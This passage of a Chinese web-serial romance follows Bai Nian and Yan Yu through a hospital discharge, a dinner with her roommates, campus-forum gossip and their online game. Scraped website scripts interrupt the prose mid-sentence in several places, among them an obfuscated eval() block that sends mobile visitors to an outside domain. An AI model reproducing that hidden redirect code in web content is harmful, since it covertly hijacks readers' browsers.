她“婚”字的声母都来到嘴边了,终于想起来什么似的,剩下的话哽在嘴边。 病房里的空气像被按下静止器,安静了一瞬。 严禹撩起眼尾神情平静地看过来:“还不给做什么?” 白念看了看他的眼睛,他的瞳色很浓,对视的时候通常让人看不出什么情绪,现在也是一如既往的平静,只是加班几天让他的眼球上微微带着点疲惫的血丝,她眨了眨眼睛:“没什么。” “嗯,”严禹收回视线,垂下眼睛,又给她夹了块排骨,“多吃点儿。” 语气平和,像是什么都没听清的样子,白念松了口气。 吃完饭,他出去扔垃圾了,白念拿出电脑登录游戏,这个时间点,仗剑放光芒、慢性怪人和夏星居然都在线,三个人正在世界上喊人做日常,看到她上线马上把她拉进了队伍。 仗剑放光芒跳脱的声线久违地从麦克风里传来:“嫂子!你这几天把我哥拐哪儿去了?感觉有一个世纪没见着他了!你们俩的游戏账号都要落灰了!” 白念:? 她试探性地发了条消息。 【队伍】【早睡身体好:?】 “怎么啦?”仗剑愣了一下,“还是你俩奔现失败,我哥自闭失踪了?!” 事情奔着离谱的走向去了。 【队伍】【早睡身体好:奔现?】 夏星也加入了吃瓜的队伍。 【队伍】【国产美少女:奔现???】 “对啊,”仗·大嘴巴·剑一头雾水,“我哥周六早上说追人去了,难道不是说你吗嫂子?还是我们误会了?” 白念艰难地打字解释。 【队伍】【早睡身体好:是我没错……不过他晚上不是回寝室了吗?】 每天晚上九十点的样子严禹都会给她发消息说自己回寝室休息来着,怎么说几天没见呢? “嫂子你连这都知道啊,回是回了,凌晨我们都睡了才回,我们还没醒他就走了……我都以为他失恋自闭了。”仗剑竹筒倒豆子一股脑全往外说。 白念愣了愣。 “不对,重点不是这个!”仗剑一拍大腿,“怎么样嫂子,我哥真人很帅吧?不是我们做兄弟的帮他吹,他这张脸往学校里一放就是校草,人品也可以给你打保票!就是性格无趣了点儿,脾气臭了点儿,话少了点儿,还有——” 他正乐滋滋地八卦着,突然瞥见早睡身体好的麦克风亮了起来,还没反应过来,一道冷冷的熟悉嗓音就顺着网线慢条斯理地响了起来:“还有呢?” 仗剑的声音戛然而止,火速闭麦。 【队伍】【仗剑放光芒:那什么,哥,我可以解释。】 “闭嘴。”严禹毫不留情。 【队伍】【仗剑放光芒:好嘞哥,我走了哥。】 白念回过头扬起脖颈对上他的眼睛。 严禹目光从屏幕上移开,转身拿出自己的电脑登录游戏,等待上线的时间里,他抬起头看见白念欲言又止,问了一句:“怎么了?” “……没事。”她丢下这么一句,低下头去看屏幕。 风不语的号已上线,五人组趁着凑齐的空档火速刷完了积攒好几天的任务,结束之后几个人还依依不舍地留在队伍里想看点八卦。 白念打字给夏星简单地解释了一下,小姑娘一听两人是同校早就认识的人,才放下心来,生怕白念跟她一样被骗。 【好友】【国产美少女:那姐我下了哦,不打扰你和风神相处了嘻嘻!】 说完火速下线。 严禹这边,他的几个室友则是把他的微信消息提醒撑爆,振动声响个不停,他掏出手机简单地敲了几个字回过去,对面终于老实下来,连带着游戏里剩下的两个人也飞快地跟白念道别下线,只剩下他们俩了。 “走,回家做任务去。”严禹拉起队伍往家里传送,落在管家面前,铜灰色长袍的老头赢了上来,殷勤地鞠躬问候,严禹刚点开培养界面,手机里就来了电话。 “我来就好,”白念接过队伍,“你去接电话。” 严禹早已经把培养材料塞满包裹分门别类标记好,她只需要点一点就行了。 她低头操作的间隙,严禹拿着手机走到走廊上才接起来:“妈。” “阿禹,”不知道为什么,唐雅的声音带着点干涩,从听筒里传出来显得有些发闷,“你想不想出国留学?” 严禹轻轻皱起眉头。 他本科已经在国外交换了两年,本来那边的导师也劝他研究生继续留在国外深耕,但他还是选择了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回国,这个问题他和唐雅也谈论过,不知道为什么如今又提起。 “国内也挺好的,”他说着,看了眼病房里戴着耳机的白念一眼,声音放轻,“更何况,我有想要留住的人,您应该能理解我。” 对面沉默了半晌,良久之后传来深深的叹息:“妈妈知道你的心思,如果……小白也愿意出国呢?你要不要试着征求一下她的意见,如果她愿意,妈妈可以负责她的费用和——” “妈。”严禹打断她,“发生什么事了?” 如此着急地想要一个答案,这不像唐雅的处事。 “……没什么,妈妈就是随口一问。”唐雅声音沉下去,勉强笑了笑。 “嗯,您早点休息。”严禹没有再问。 “好。”唐雅说着就要挂断电话。 严禹闭了闭眼,回想起那天在唐雅办公室看到的画面,终究还是开口道:“妈,一切有我,你别想太多。” “什么……”唐雅有些愣怔。 “没事,”严禹盯着窗外幽深的夜色,又嘱咐了一遍,“您早点休息。” 挂断电话,他打开另一个软件,里面是一个清晰的监控画面。 他缓缓转动镜头,画面里是一道稚嫩的涂鸦,尽管夜色降临看不清颜色,但依稀能分辨出画的是一扇窗户。 那是他自己在严家的卧室。 他手指点在画面上,刚想退出,一个高大的背影从镜头里一闪而过。 画面中严季淮推开房间门在涂鸦面前站定,饶有兴致地端详半晌之后,抬手在墙上推了推,隐藏在手办柜子后的墙面破开一道笔直的裂痕。 涂鸦窗户随着他的动作向内凹陷,没入墙后幽密的暗色之中。 他推开了那扇“窗户”。 . 白念培养完孩子,又带着严禹的角色把其他杂七杂八的夫妻任务刷了一遍,严禹刚好打完电话走进来,她随口问了一句:“有什么急事吗?” “没什么事。”严禹安抚地冲她笑了下,回到电脑面前坐下,随手点开自己好久没看的系统消息,一条醒目的通知印入眼帘。 【您的娘子早睡身体好于三日前提出强制离婚申请,夫妻怀孕期间暂不可离婚,申请已被系统自动驳回。】 他假装没听清的东西骤然清晰地在眼前重复了一遍。 “你怎么了,出去一趟好像脸色很不好。”白念看了他一眼,有些担心。 “没——”他下意识想要说没事。 他和白念是一样的人,一样喜欢把太平无事的一面展现在对方面前的人。 但他骤然收住了声音,重新开口:“头好像有点痛。” 白念担忧地抚上他的额头试了试温度:“我听仗剑说你最近早出晚归,是不是章老师给你加了任务,你没告诉我?” 严禹坐在她的床边,忍了又忍,终于在白念泛着暖意的掌心从他额头撤离的时候没有忍住,抬手轻轻圈上她的腰间,再没有否认:“嗯。” 白念轻轻吸了口气:“你应该让我分担一点的。” 严禹闭着眼睛模模糊糊地开口:“不想让你太累。” 白念抿了抿唇,看清他眼下微微泛青的疲惫,拉开他的手臂往里侧挪了挪,腾出一个被她的体温捂得有些温热的位置,犹豫着问了一句:“要不要上来躺一会儿?” 一个没有夹杂任何暧昧缱绻的温情邀请。 严禹抬起眼睛与她对视,三秒后他站起身来,轻轻侧躺上去,狭小的单人床上,他伸出手臂隔着被子将白念整个往自己怀里一圈,将脸埋在她的发间,缓缓闭上眼睛。 “我是不是很无趣?”他突然声音闷闷地开口。 白念诧异:“怎么会?” 严禹圈在她背上的手臂紧了紧,两人之间几乎没有间隙,他沉沉开口:“不要离婚。” “……你知道了?”白念有点愣怔,“那只是游戏。” “我听到了,”他闭着眼睛说,“游戏也不要。” 白念被紧紧拢在他的怀中,闻言反手扶住他纹丝不动的手臂,语气里有些啼笑皆非:“那时候是生气,不是因为其他的,都过去了。” “嗯,我知道。”他此刻执拗异常,呼吸紧紧抵在白念颈侧,手上力度丝毫不减,像寻求确定的小孩。 白念敏感地僵着脖子忍耐过这一阵温热的鼻息,轻轻侧过脸去,身旁的人不知何时已经呼吸均匀沉缓下来,长长的睫毛在他的鼻梁上投下微微翕动的碎影。 窗外开始淅淅沥沥下起秋雨,有倾斜的雨丝坠落在玻璃外侧,拍击出规律的噪声。 她伸手拉过被子,轻轻盖在他的身上。 也跟着闭上了眼睛。 86. 出院 白念办理入院时只有严禹陪着,出院时身旁却密密麻麻很是热闹,她的三个室友都赶来了,美其名曰庆祝白念出院,给她接风洗尘。 三个女孩子局促地陪着白念坐在一旁,看着严禹进进出出办完出院的手续,欲言又止,止言又欲。 “好了,都搞定了,走吧。”一切搞定后,严禹回到病房,一手拎起白念的包,一手就要来扶她。 “学长你手上不方便,我们来吧。”还是沉得住气的寝室长江含卿率先开口打破沉默,主动揽过白念。 “啊对对,念念交给我们就好!”菲菲和方淇也反应过来,几个人手忙脚乱地扶起白念就往外走,那架势不像是来接伤患的,反倒是押解白念去接受审问的。 严禹收回落空的手,挑了挑眉,没说什么,抬腿跟在她们身后往电梯厅走。 当事人白念一句话来不及说就被火速架了出去:“……我已经可以自己走了。” “不行!”菲菲表情一派严肃,“伤筋动骨一百天知不知道,你好好搂着我的肩膀就行。” 白念看着她们几个人紧张的模样哭笑不得:“好好好。” 那天晚上严禹去宿舍楼下帮她拿电脑包时候,702号女寝的小群里就已经炸开了锅。 那时候她们几个人忙着关心白念的伤势,就把八卦略了过去,此刻几个人走在前面,感受着身后男生无声而强烈的存在感,数不尽的好奇心就争先恐后地往外冒。 几个人想问又不敢问他,僵硬着脖颈不敢往后看,方淇悄悄清了清嗓子,戳了戳白念的手臂,压低声音:“念念,你跟严学长……是怎么回事啊?” 菲菲也咳了两声凑过来:“坦白从宽,抗拒从严。” 白念憋笑:“就是你们看到的那样。” “哪样啊!”菲菲有点懵。 “……”一旁的江含卿立刻就把情况想得十分复杂,“你游戏里不是还有个,那什么,队友吗?” 她问的很含蓄,悄悄回过头去偷看了后面的严禹一眼,再次转过头来,脸上明晃晃地写满了震惊。 “对啊念念,你不是还给人家送画吗?这种事情按理来说先来后到……你这样学长知道吗?”菲菲被这么一提醒也回过神来,声音压得更低,“咳咳,当然了,我不是指责你的意思,毕竟你俩这才哪到哪儿,我们作为家属团是该考核一下谁更合适……” 方淇也意味深长地拍了拍她的肩膀:“念啊,你出息了,校草都能当备胎了。” 白念:…… 她要是再不解释,在自己的室友眼里就快要变成脚踏两条船的渣女了。 刚要开口,电梯抵达的声音响起,严禹伸出手臂挡住电梯门让她们先进去,随后自己才跟着走进去。 平日里只能远观的大神距离自己只有一步之遥,几个女生闭上嘴巴,窝在他后面大气不敢出,静悄悄的电梯里只有机械运转的声音。 白念看了眼自家室友拘谨的样子,刚要张口打破寂静,严禹就偏过头来:“择日不如撞日,可以请你们吃个饭吗?” . 等车的间隙白念悄悄伸手扯了扯严禹的袖子:“怎么突然要吃饭呀,之前没商量过。” 严禹垂下眼睛看她:“时间比较巧,就当是……家属局?” 白念以前只听说过别人谈恋爱了请对方室友吃饭,如今轮到自己头上,还觉得怪不习惯的。 严禹垂下头来,用更低的声音开玩笑似的说:“不然你打算什么时候给我个名分?” 白念愣了愣。 顶着这么一张脸,悄悄对她说想要个名分……有点犯规。 她刚想说话,严禹又幽幽地来了一句:“还是你准备让我一直当备胎?” 白念:……他早就听到了! 严禹挑了家环境很清幽的餐厅,落座后简单地跟服务员沟通了几句后将菜单递到几个人面前,态度温和:“我点了几个招牌菜,其他的你们看看喜欢吃什么。” 离他最近的丁菲菲接过菜单,十分含蓄地随便加了个菜就递给下一个人,剩下两人也是这样,点完就乖乖把双手放在大腿上开始用眼神意念沟通。 白念看了一眼菲菲规规矩矩的双手,脑子里划过上次她们四人一起吃饭时候,菲菲拍着桌子让老板再上五十串牛肉的豪放画面,有点想笑。 刚才还扬言要考核严禹,此刻坐在本尊面前却哑火了。 她轻轻咳了一声打破凝滞的氛围:“那什么,我有点事要宣布。” 在场所有人的目光齐刷刷看过来,白念看了严禹一眼,回过头来干巴巴地开口:“咳咳,如你们所见,我们在一起了,他也是我游戏里的……队友。” 说完这一句她就卡壳了。 轻飘飘的一句话,如同重磅炸弹,把剩下三个女生炸晕了,江含卿一下子没转过弯来:“学长就是你要送礼物的网友?” 白念老实点头。 “所以你们是网恋?”菲菲脑袋发晕,“不对,你们明明线下认识啊……” 白念望了望天:“这件事说来话长……” 方淇已经顾不上矜持了,恶狠狠地捏着菜单要挟:“从头交代,不然我们就吃穷你俩。” 白念默了默,一时间不知道吃穷严禹和逼死自己哪个更难。 严禹眼睛里有轻微笑意,主动接过她的话:“本来不应该这么仓促的,但今天时间凑巧,希望你们不要介意。” 他语气沉稳:“正式介绍一下吧,我叫严禹,和你们同一个专业,大五,目前是……白念的男朋友。” 随后他举起白瓷茶杯,微微一笑:“以后还请,多多指教?” “学长,”熊熊燃烧的八卦之魂促使着菲菲大着胆子率先开口,“我可以好奇一下你和念念是怎么认识的吗?” 严禹思考了一秒:“准确来说,是在章教授办公室遇见的吧,那天我听见了你们的期末评图。” “这么快!才一个暑假的时间哎!”菲菲有点惊讶。 方淇也加入八卦的行列:“那你们是谁先追的谁啊?” 严禹看了扶额拼命喝茶的白念一眼,轻轻一笑:“是我。” 江含卿接上:“那你们是游戏里在一起的还是线下在一起的啊?” …… 八卦的话题一开启,就七嘴八舌的收不住,大家开始褪去拘谨,严禹异常有耐心,每个问题他都会挑一个恰到好处的角度作答,既真诚又从容。 这样旁听自己的故事被热烈讨论,白念觉得燥得慌,匆匆说了句去下卫生间,慌不择路地跑了。 洗完手出门,她被严禹堵在了走廊里,来人眼尾带着点笑意捏了捏她的耳垂:“这么红。” 白念恨铁不成钢地暗自唾弃了自己一下:“总感觉这场面跟见家长似的……其实你不回答也没事的,她们没有恶意,只是有点好奇。” “没关系,”严禹目光温柔,“她们是你的朋友。” 白念扬起脖颈与他对视。 是了,大家都说他高冷难以接近,她却从来没有感觉到。不仅是她没感觉到,连带着她身边的朋友,梁天心也好,她的室友也好,他一向是主动带着善意的。 因为她,所以他愿意这么做。 “谢谢你。”白念真心实意地扬起嘴角,“她们……确实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是我来到晋城认识的为数不多的朋友。” 严禹揉了揉她的头:“所以没什么不好意思的,就像那天我妈妈突然出现一样,我们顺其自然就好了。” “嗯。”白念点点头。 “我第一次谈恋爱,”严禹说,“许多事情也是学着去做,就像今天请你的朋友吃饭一样,以前我也没做过。你要是觉得哪里不好,就告诉我,嗯?” “好,”白念轻笑,“你也是。” “回去吧,”严禹牵起她的手,“走慢点,膝盖还没好。” “对了,那要不要请仗剑他们……”白念转过头,话说一半又改口,“啊不,请你室友他们吃顿饭?” 严禹嘴唇一勾:“不用管他们。” . 吃完饭以后,严禹把人送到寝室楼下,然后才准备回家。 他在学校门口打了个车。 深秋时节,夜晚的晋城风不算很大,温度却已经有些低,伴着空气里潮湿的水汽,压得空气沉坠坠地凉,四周除了些细碎的人声之外,一切都很安静。 严禹看着手机屏幕上的车辆定位,大概还有一两分钟,屏幕在夜里发出澄净的亮光,他刚要放下手机,黑色的手机边框上却有什么倒影一闪而过。 他转过身去,背后是晋大校门口的景观雕塑,在地灯的照射下安安静静地立着。 出租车在他面前停下,严禹收回目光,拉开车门上车。 合上车门的瞬间,他又往方才的位置看了一眼,一切如常,什么也没有。 他掏出手机给白念发了条消息。 严禹:好好休息,晚安。 屏幕彼端的白念刚洗漱好,拿起手机回了条晚安,打开静音模式放下手机盖上被子,安然入睡。 这几天在医院到底不怎么能睡好。 也就没看见屏幕上静悄悄亮起又熄灭的陌生短信。 . 晋大校门口,夜色幽深里,安静的灌木丛背后有两个焦躁不安的身影在来回踱步。 “刚才就应该叫住她的,现在她压根不回消息,怎么办?她要是不帮忙,公司就真的没救了!”其中一个中年男声带着些憔悴和沙哑,正是安分了好久的白晟林,只是眼下他满眼血丝,眼下的困境让他焦头烂额。 一旁的周淑华境况也没好到哪里去,平时一丝不苟的妆容现下略显潦草,尽管依旧涂着艳色的口红,也掩盖不住唇上干燥起翘的死皮。 她看了一眼扬长而去的出租车,才敢出声:“可是严禹一直在她身边,能怎么办?他手里还有我们的把柄,万一他看见我们报警怎么办!” 白晟林死死盯着那个远去的背影,眼里几乎淬出怨毒的光:“要不是他设局,我也不会到这个地步……” 正在此时,他的手机轻轻振动了一下。 他极度不耐烦地边打开短信边骂骂咧咧:“一定又是银行催债的消息,妈的,都说了让他们宽限一下——” 他的话突然哽在嗓子里,眼睛蓦地瞪大。 【我知道你们面临什么困境,也可以给你们想要的东西,只要帮我一点小忙。如果有意愿,可以到这个地点详谈:宁平路141号。】 他盯着这串文字看了半晌,然后目光落在最后的地址上,鬼使神差地把地址复制到导航软件中,点下查询键。 详细的地址信息显示出来。 【华普建设投资集团。】 他如同濒死之人绝处逢生,颤抖着手抚摸上那串信息。 华普集团……不就是当年唐氏的联姻企业吗? 他知道它如今的掌权人…… 严季淮。 87. 陪你 出院后白念冷不丁成了个上课吃饭睡觉三点一线的闲人。 大约是暑假经历的事情太多,突然不用熬夜兼职,也不用到处奔波,生活节奏平淡起来还让白念有点不习惯。 再一次在生物钟的催促下迷迷糊糊睁开眼,白念看了眼时间,也差不多该起床上课了。 寝室里的闹钟陆陆续续响起,白念打着哈欠爬起来到阳台上洗漱,忽然听到楼下一阵清晰的喧闹。 她刷着牙探出头去,顶着一头毛茸茸的乱发和楼底下拎着早餐等她的严禹对上了视线。 他被白念迷迷瞪瞪的样子逗笑,轻轻举了举手里的东西,虽然距离很远,他还是缓缓张口,无声地做了个口型:早。 或路过或悄悄围观的吃瓜群众顺着他的视线往楼上看,就看到七楼阳台上一个举着牙刷的呆愣脑袋。 白念就这么直愣愣地暴露在众目睽睽之下,差点一口泡沫呛在喉咙里,火速地缩回脑袋,拎起手机敲字。 n:你来做什么! 严禹:陪你上课? 白念:…… 她速战速决地洗完脸穿好衣服就往楼下跑,身后传来菲菲疑惑的声音:“哎念念!你去哪儿!不和我们一起去食堂吃早餐了吗!” 二十分钟后,寝室里三个人盯着桌子上热气腾腾的三份早餐陷入沉思。 “真想不到,”菲菲眨了眨眼睛,“我大学时光第一份来自异性的早餐投喂居然是蹭的学霸的。” 白念深沉地拍了拍她的肩膀:“唉。” 晋大论坛悄无声息地热闹起来了。 【Hot!】【我好像拍到了什么了不得的照片!!!】 【楼主:事情是这样的!今天本来也是一个平平无奇的早晨,本生无可恋的早八人拎着沉重的保温杯走在楼下的小路上,风儿那个吹,雪花那个飘,楼主掏出手机顺手拍了一下楼底涨价五毛的包子铺价目表,刚刚打开想发朋友圈却发现背景里似乎有什么了不得的东西……对不起跑题了,不废话了!上照片!】 【图片.jpg】 【1l:是我眼花了吗?这个拎着早餐站在女生宿舍楼下的人是我想的那个人吗?是吗???】 【8l:据我纵横晋大论坛三年半的经验……是校草没错。(深沉点烟.jpg)】 【13l:所以晋大校草万年母单的神话破灭了???】 【19l:等会儿,也不一定,并没有看到另一个当事人,万一还没脱单呢?】 【25l:所以另一个当事人是谁啊,万分好奇什么人能让铁树开花?求一双在现场的眼睛。】 【27l:在现场……我发誓我只是匆匆一瞥,没有泄露别人隐私的意图,那个女生看上去很可爱!】 “可爱的当事人”本人正面无表情地坐在教室最后一排记笔记。 今天是建筑设计基础理论大课,四个建筑班的学生一起上,偌大的阶梯教室里坐满了人,白念和室友们起得很早,本来挑个中间的位置更好看大屏幕,之所以坐在最后一排…… 白念第n次转向右边,看着身旁存在感异常强烈的某人欲言又止。 严禹放下手里的书偏过头来:“怎么了?” 后排微小的动静引起了前排同学的注意,有人下意识回过头来,然后想看到什么了不得的事情一样陡然瞪大眼睛,火速转过头去拿起手机开始打字。 白念:…… 她沮丧地往桌子上一趴:“我感觉我像动物园里的猴子。” 她另一侧的菲菲幽幽地伸出手指戳了戳她的手臂,将手机屏幕递到她面前:“……那什么,好像已经是了。” 界面上是晋大论坛万年不变的绿油油界面,一个被顶上实时热门的帖子横在白念眼前。 “什么了不得的事?”白念默默看了眼标题,往下翻了翻,然后僵在原地。 【135l:最新消息!可以确定校草真脱单了!且另一当事人是和他同专业的大二女生!】 【142l:情报保真???哪里知道的?】 【156l:保真,我也可以作证,因为两位当事人正坐在我后面一起上课……准确来说,是大神陪着女朋友来上理论大课orz】 【158l:楼上求照片!!!】 【160l:不敢……大神正盯着我的背,我怕他记仇给我这学期的设计作业打不及格T-T】 【166l:有一说一,早上在现场的朋友没说错,男帅女美,对我饱受作业摧残的眼睛很友好!T-T】 ……不知道是不是白念的错觉,她感觉教室里窃窃私语的声浪似乎大了起来,不断有人悄悄回头飞快地瞥一眼她们这个方向,论坛帖子也是也堆越高。 她麻木地看了一眼身旁安然稳坐的罪魁祸首。 一旁已经习惯了被当作人群焦点的严禹丝毫没受影响,他看了一眼怨念深重的白念,无声地咳了一下,压低声音:“抱歉,我没想到这个,我只是想陪你上课……要不我出去?” 白念反倒坦然起来了,叹了口气直起身来:“算了……等这一阵过去了就行。” 随波逐流的好奇心来得快,去得应该也会很快。 严禹看着她微微咬起的唇,下意识想揉一揉她的脑袋,顾及到这是公众场合,忍了回去,带着轻微笑意轻声说:“好。” 教室里的悄悄话和小动作逃不过讲台上的眼睛,女教师讲到一半,视线顺着底下学生的动作网最后一排扫去,找到了八卦的焦点,她眉毛一扬。 “下面我点个同学起来回答一下我刚刚的问题哈,”她推了推眼镜,“就最后排那个男生吧。” 吃瓜的视线纷纷往后看过来,意识到老师在点谁之后,教室里发出一片明显的哄笑,有胆子大的高声笑道:“老师,这不是我们年级的!” 严禹倒是十分坦然地站起来,他确实没在听课,不过基础理论的东西对他来说再简单不过,他刚要开口回答,一旁的白念火速在本子上画了个c递给他。 他视线下垂,眼睛里满含笑意悠悠然开口:“选c。” “嗯,没错。”女教师点点头,“能具体分析一下吗?” 白念刚放松下来的手背僵住了,她把刚刚记的笔记本往右边悄悄推了推,寄希望于严禹能看清。 严禹却没注意她的动作,视线平静地对上台上老师的眼睛,缓缓开口:“广场、街道与建筑关系的研究出自西谛的城市形态研究理论,不属于柯布西耶的现代城市思想。” “不错,”女教师和善地笑道,“同学是哪个专业的,对建筑学感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918267|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣吗?” 这位老师是本学期新入职的,还不认识严禹,台下又是一阵憋笑,严禹微微颔首:“挺有兴趣的。” “那很欢迎旁听,”女教师挥手示意他坐下,白念刚松口气,只听她冷不丁又皮了一下,“不过不要影响女朋友听课哦。” 心照不宣的事实被老师点了出来,这下教室里的憋笑变成了善意的哄笑,白念红着耳朵竖起课本挡住自己的脸,恶狠狠瞪了惹事的严禹一眼。 严禹伸出手去悄悄捏了捏她另一只放在膝盖上的手指,安抚炸毛的刺猬。 “我还担心你忘了这些知识点……”白念忿忿,“白担心了!” “嗯,”严禹点点头,“还是要谢谢女朋友的笔记。” 他的态度太过自然,反倒让白念顿了一下,末了轻轻放下挡脸的书本。 台上老师的讲课声有条不紊地继续,看过热闹的同学们渐渐过了那阵兴奋劲儿,陆续恢复认真听课的节奏,回头看的眼睛逐渐没有了。 菲菲6G冲浪中,又把手机递给白念看了看,论坛上的舆论逐渐从震惊八卦归于祝福。 还有许多人冲到严禹是否能脱单的投票帖里当乐子人,又把那条沉寂已久的帖子顶成了热门,论坛一片热闹,不过多数是善意的言论居多,可以预见等热度发酵过后,终究会回归平稳。 再耀眼的人说穿了也是别人主角场里的过客。 白念缓缓舒了口气。 算了。 这感觉,好像也……没想象的那么糟糕。 课间接水的空档,白念的手机消息亮了起来,她看了眼,是来自万古游戏官方的消息通知。 “万古官网好像发新通知了。”白念边点进去边说。 严禹也收到通知了,干脆凑过来一起看。 【官方通知:亲爱的玩家们!一年一度的服战即将来临,恰逢《万古》游戏发行十周年,为迎接这两大盛事,我们决定将服战决赛和游戏发行十周年庆典安排在同一天举办,具体日程与场馆安排将会在稍后发布,诚邀各位玩家共赴盛典!】 随着游戏影响力的扩大,万古一年一度的服战比赛早已经实现线下场馆化,是游戏界非常热闹的一件盛事,往年本就座无虚席,今年又恰逢十周年盛典,不知道会是怎样的盛况…… 白念翻了翻今年的赛程信息,发现差不多还有一周,九月下旬就要开启各个服务区的公会内战了,最终各区的冠军将会获得服战资格,共同角逐年终决赛的总冠军。 白念又看了眼大二的课程表,惊喜地发现里自己大一时候蹲点抢公共课的好处——除开专业课,她比大一多出许多可以自由支配的课余时间。 严禹看着她亮晶晶的眼神问道:“想参加吗?” 白念扬了扬眉:“想。” 严禹失笑,他就知道,凡是能打架的事情,她都喜欢。 “那我们就去,”他说,“我陪你。” “正好我们队伍人齐了,”白念想起来被她拉进来的夏星,有点得意地歪歪头,“你可以回剑尊了吗?” 严禹脑子里突然划过白念为他画的那副画,飘逸的白衣剑客持剑立于山巅,潇洒如风,睥睨山河,他心念一动,看向她期待的眼睛。 “好,回剑尊,和你一起。” 88. 回归 严禹推开寝室门的时候,他的室友们正在晋大论坛里吃瓜吃得不亦乐乎,高旭举着手机龇着个大牙仔寝室里高声宣读新鲜热乎的八卦。 “啧,早上七点半就拎着早餐等在女生寝室楼下……”高旭一脸难以置信,“难怪让他给我带个包子豆浆回来都不肯!” 他背后的白景行淡定地吐槽:“性质不同,给你带是肉包子打狗。” 高旭翻了个白眼,继续往帖子下面翻:“啧啧,居然是同专业的小学妹,我哥这是老牛吃嫩草啊……” 一旁埋头看书的张泽阳抬起头来好奇地插了句嘴:“他不是已经在游戏里给你找嫂子了吗?哪来的小学妹?” “一说起这个就离谱!”高旭一拍大腿,转过头去竹筒倒豆子,“你敢信游戏里的嫂子和大二的小学妹是同一个人?我把我哥当兄弟,我哥把我当外人,背着我们悄悄谈恋爱,靠。” “这么巧?”不玩游戏的张泽阳都诧异地感叹了一句,“难怪假期里看你们聊天,我就觉得他怪怪的。” “唉,”高旭生无可恋地往后一靠,“想当初咱嫂子还是我拉进队的,我哥都脱单了,我连个生孩子的游戏搭子都还没找着……” 半真半假地抱怨了几句,高旭又开始兴致昂扬地扒楼:“不过话说回来,怎么没人拍个照片,光看见我哥送早餐的骚包背影,嫂子呢?好想看看游戏里带我砍boss的大佬长什么——” 咔哒。 严禹从外面推开寝室门,径直走到阳台上洗完手回来,然后才悠悠开口:“你想看什么?” 八卦被逮住的当事人高旭下意识磕磕巴巴地回答:“想看、看嫂子。” 严禹嫌弃地眯了眯眼,转身走到书桌前坐下,打开电脑开启游戏点击登陆一气呵成,才淡淡地逗他:“那你想吧。” “……”高旭滑着椅子挪过来,凑到屏幕上笑嘻嘻开口:“哥你要玩游戏?嫂子也在吗?等我和老白上线——” 严禹毫不留情地戴上耳机:“转门派,别来,你太吵。” 被嫌弃的高旭肉眼可见地蔫了下去,白景行理解地拍了拍他的肩膀:“别当电灯泡,走,哥带你打竞技场。” “有异性没人性,我要上论坛揭发你!”高旭一边敢怒不敢言地小声比比,一边口嫌体直地跟着登陆游戏。 严禹电脑屏幕里游戏画面已经加载成功,另一端白念已经提前上线,听到耳机里高旭控诉的声音忍俊不禁:“你又怎么他了?” “没事,他太吵。”严禹发起里组队邀请。 下一秒,身着玄衣手持清晖长剑的女侠应声出现在他的画面当中,头顶原本金光闪闪的“万古第一神仙眷侣”的称号却突然不见了,女剑客的头顶空落落一片,他轻声问:“怎么把头衔关了了?” “……原来的太高调了,”白念吐槽,“那个金色闪瞎眼睛。” 不知道游戏美术策划是什么奇葩审美,唯一的限定头衔搞得金光闪闪,生怕别人看不见似的,在人群之中一眼就能看出来是他们俩。 说话间,耳机里传来鼠标轻点的声音,女剑客头顶重新换上了一个款式低调普通的头衔——风不语的娘子。 “……就这个吧,大家都差不多,也不丑。”她说。 严禹唇角轻轻勾起,也跟着换上了“早睡身体好的夫君”,然后诚恳点评:“好看。” “咳咳,走吧,”白念说,“陪你转门派。” 万古里职业选择十分自由,只要过了一周的冷却期,花钱就可以随意转门派。 两人组队来到转门派的npc面前,严禹对话完毕之后进入选择界面,简单操作之后就消失在白念眼前:“稍等,大概两分钟。” 两分钟之后,传送阵在白念眼前亮起,严禹的人物角色从光阵中缓缓走出,银白的神族发色重新变为墨色长发披在身后,带着云纹的锦袍重新变为潇洒飘逸的广袖长袍,手里的粉色莲花灯消失不见,取而代之的是瑞气腾腾的神兵苍黎。 俨然已经是原本的模样。 他的剑尊装备一直没卖,这会儿直接换上就行。 “转门派时候还可以给衣服染色,本来想跟你一样染成黑色的。”严禹开口。 “情侣装啊,”白念逗他,“那怎么没染?” “你给我画了画。”他言简意赅。 画的白衣剑客。 白念在耳机里轻笑出声:“喜欢的话以后给你画别的。” 与此同时,玩家排名变动的系统播报在世界频道滚动播报。 【系统】【恭喜少侠风不语勇夺剑尊门派排行榜第二名!风流江湖,笑傲刀兵,当显英雄本色!】 世界上的人又开始了新一轮吃瓜。 【世界】【好名儿都叫狗起了:啊?风神又跑回剑尊了?什么情况?】 【世界】【来包辣条压惊:大佬的世界就是如此随意,这是奶爸玩腻了要搞男女混合暴力双打了?】 【世界】【好大一只逗比:只有我的注意力在第二名上吗?磕糖的人有没有!】 【世界】【靓仔所见略同:悄悄举手……为爱甘愿做第二名什么的也太甜了呜呜呜!】 【世界】【单身情歌:什么糖,哪里有糖?】 【世界】【嗷嗷待捕:楼上能一直单身是有原因的。】 “咦?”白念翻了翻严禹的综合战力信息面板,“我记得你的战力是五万八千多,怎么现在才五万三,还跑我后面去了?” 这猝不及防的点破让严禹沉默了半晌:“……你怎么记得这么清楚。” 白念乐了:“你在我头上压了这么久,还不允许我记仇啊。你干嘛了?” “……换了几件普通装备。”严禹诚实交代。 “换上,”白念倒是毫不介意,语气带着点认真,“我不需要这样的让步,我操作又不比你差,只是装备差距而已,我们实力说话。” “好。”严禹温柔地看了眼前墨发飞扬的女剑客一眼,顺从地换上原本的装备。 